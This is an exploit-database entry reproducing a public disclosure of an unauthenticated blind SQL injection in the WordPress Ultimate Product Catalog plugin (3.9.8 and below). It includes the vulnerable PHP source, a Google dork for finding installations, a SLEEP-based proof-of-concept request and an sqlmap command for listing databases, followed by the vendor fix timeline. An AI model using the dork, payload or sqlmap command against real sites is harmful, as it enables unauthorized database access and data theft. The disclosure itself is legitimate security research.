Exploitalert - Database of Exploits

WordPress Ultimate Product Catalog 3.9.8 SQL Injection

CVE	Category	Price	Severity
CVE-2020-20112	CWE-89	$500	Critical

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2016-07-29

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2016070223

WordPress Ultimate Product Catalog 3.9.8 SQL Injection# Exploit Title: Wordpress Ultimate-Product-Catalog <= 3.9.8 (do_shortcode via ajax) Unsanitized shortcode attributes - Unauthenticated Blind SQL Injection # Date: 2016-07-28 # Google Dork: "Index of /wp-content/plugins/ultimate-product-catalogue/" # Exploit Author: Joaquin Ramirez Martinez [ i0 SEC-LABORATORY ] # Vendor Homepage: http://www.EtoileWebDesign.com/ # plugin uri: http://www.EtoileWebDesign.com/ultimate-product-catalogue/ # Software Link: # Version: <=3.9.8 # Tested on: windows 7 + firefox. ==================== DESCRIPTION ==================== A vulnerability has been discvered in the wordpress Ultimate Product Catalog by affecting v3.9.8 and below (tested). Due to a unsanitized parameters passed to the shorcode function `Insert_Product_Catalog` [ "product-catalogue" ] located in `/Funtions/Shortcodes.php` line 4: function Insert_Product_Catalog($atts) { // Select the catalogue information from the database ... $Catalogue = $wpdb->get_row("SELECT * FROM $catalogues_table_name WHERE Catalogue_ID=" . $id); $CatalogueItems = $wpdb->get_results("SELECT * FROM $catalogue_items_table_name WHERE Catalogue_ID=" . $id . " ORDER BY Position"); ... return $ProductString; } The $id parameter is extracted with `extract` function from $atts. This is a vulnerability with which can be exploited by creating shortcodes with malicious attributes, exploitable only by administrators, editors, authors. But in file `/Functions/Process_Ajax.php` line 113... function UPCP_Filter_Catalogue() { $Path = ABSPATH . 'wp-load.php'; include_once($Path); $id = $_POST['id']; <-- we can control this value!! ... echo do_shortcode("[product-catalogue id='" . $id . "' only_inner='Yes' starting_layout='" . $start_layout . "' excluded_layouts='" . $exclude_layouts . "' current_page='" . $current_page . "' ajax_reload='" . $ajax_reload . "' ajax_url='" . $ajax_url . "' request_count='" . $request_count . "' category='" . $Category . "' subcategory='" . $SubCategory . "' tags='" . $Tags . "' custom_fields='" . $Custom_Fields . "' prod_name='" . $Prod_Name . "' min_price='" . $Min_Price . "' max_price='" . $Max_Price . "']"); } This is interesting because that function calls `do_shortcode` executing the shortcode 'product-catalogue' as a result, this calls `Insert_Product_Catalog` wich I found the SQLi, now we need to found a place where ` UPCP_Filter_Catalogue` is called and in line 138-139 i found... ... add_action('wp_ajax_update_catalogue', 'UPCP_Filter_Catalogue'); add_action( 'wp_ajax_nopriv_update_catalogue', 'UPCP_Filter_Catalogue'); ... this means that we can execute that function only with a request to `/wp-admin/admin-ajax.php?action=update_catalogue` and send the vulnerable $id parameter with our custom payload. Note that `wp_ajax_nopriv` prefix makes this vulnerability exploitable by unauthenticated users. Example: http://<wp-host>/<wp-path>/wp-admin/admin-ajax.php?action=update_catalogue POSTDATA: id=0+or+(our+custom+select+here)+-- An attacker can exploit this vulnerability and compromise all user records or take over control of the host machine. ============== POC ============== ----------------- //REQUEST ------------------ POST /wordpress/wp-admin/admin-ajax.php?action=update_catalogue HTTP/1.1 Host: localhost Content-Length: 21 Accept: */* User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept-Encoding: gzip, deflate Accept-Language: es-ES,es;q=0.8 Cookie: id=1+OR+SLEEP(10)+--+ -------------------------- EXPLOITING WITH SQLMAP ------------------------ sqlmap --url="http://<wp-host>/<wp-path>/wp-admin/admin-ajax.php?action=update_catalogue" --data="id=1" --level=5 --risk=3 --technique=B -p id --dbs --dbms=mysql (listing all available databases) ================================== time-line =================================== 2016-07-28: reported to vendor. 2016-07-28: vendor released plugin version 3.9.9. saying in changelog "Minor ajax update to switch to a prepared statement". 2016-07-29: public disclousure. ===================================

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